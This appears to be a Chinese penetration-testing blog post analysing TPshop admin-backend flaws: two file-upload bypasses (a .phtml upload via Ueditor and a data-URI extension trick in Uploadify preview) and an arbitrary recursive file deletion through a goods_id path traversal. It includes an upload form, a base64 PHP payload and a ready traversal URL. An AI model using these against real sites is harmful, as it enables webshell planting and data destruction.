渗透测试

TPshop后台文件上传漏洞(20200104版本)

Posted on 2020-09-28,4 min read

在CNVD上看到了TPshop开源商城商家管理后台Ueditor页面存在文件上传漏洞。想着挖挖

第一处文件上传


知道是后台的Ueditor页面问题。直接源码去文件看了
application/admin/controller/Ueditor.php

发现uploadimage和uploadscrawl都是有白名单后缀名限制
继续看uploadvideo分支

发现只对后缀名不能为php。那可以通过phtml绕过

本地构造表单

<!DOCTYPE html>
<html>
<body>
<form action="http://127.0.0.1/Admin/Ueditor/index?action=uploadvideo" method="POST" enctype="multipart/form-data" >
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

直接传phtml就行
上传后会返回文件名

第二处文件上传:


漏洞点位于application/admin/controller/Uploadify.php

	public function preview(){

		// 此页面用来协助 IE6/7 预览图片,因为 IE 6/7 不支持 base64
		$DIR = 'preview';
		// Create target dir
		if (!file_exists($DIR)) {
			@mkdir($DIR);
		}

		$cleanupTargetDir = true; // Remove old files
		$maxFileAge = 5 * 3600; // Temp file age in seconds

		if ($cleanupTargetDir) {
			if (!is_dir($DIR) || !$dir = opendir($DIR)) {
				die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}');
			}

			while (($file = readdir($dir)) !== false) {
				$tmpfilePath = $DIR . DIRECTORY_SEPARATOR . $file;
				// Remove temp file if it is older than the max age and is not the current file
				if (@filemtime($tmpfilePath) < time() - $maxFileAge) {
					@unlink($tmpfilePath);
				}
			}
			closedir($dir);
		}

		$src = file_get_contents('php://input');
		if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) {
			$previewUrl = sprintf(
					"%s://%s%s",
					isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
					$_SERVER['HTTP_HOST'],$_SERVER['REQUEST_URI']
			);
			$previewUrl = str_replace("preview.php", "", $previewUrl);
			$base64 = $matches[2];
			$type = $matches[1];
			if ($type === 'jpeg') {
				$type = 'jpg';
			}

			$filename = md5($base64).".$type";
			$filePath = $DIR.DIRECTORY_SEPARATOR.$filename;

			if (file_exists($filePath)) {
				die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
			} else {
				$data = base64_decode($base64);
				$filePathLower = strtolower($filePath);
				if (strstr($filePathLower, '../') || strstr($filePathLower, '..\\') || strstr($filePathLower, '.php')) {
					die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "文件上传格式错误 error !"}}');
				}
				// 文件格式判断
				strstr(strtolower($filePath),'.php') && exit('文件格式不对');
                var_dump($filePath);
				file_put_contents($filePath, $data);
				die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
			}
		} else {
			die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "un recoginized source"}}');
		}
	}

其实。看到这一行代码。漏洞点就很清楚了。。当时啥CMS来着。也有个差不多的洞。

preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)

接受php://input的值。然后用正则。把base64的数据写入。文件名后缀为正则匹配出来的
例如data:image/phtml;base64,PD9waHAgcGhwaW5mbygpOyAgPz4=
他就会把phtml当作后缀名。然后和php比较。把PD9xxxx base64解密后写入文件。

文件会在http://127.0.0.1/preview/ebe6788fbafe3c360fd2185e4ee53ac3.phtml

任意文件删除


漏洞点位于application/function.php的delFile方法
传入$path。然后直接递归删除path下的所有文件

在application/admin/controller/System.php的ClearGoodsThumb方法
调用了这个函数。并且把goods_id的值直接传入

直接http://127.0.0.1/index.php/Admin/System/ClearGoodsThumb?goods_id=../即可

下一篇: CTFSHOW月饼杯 Web3(sql注入+命令注入)→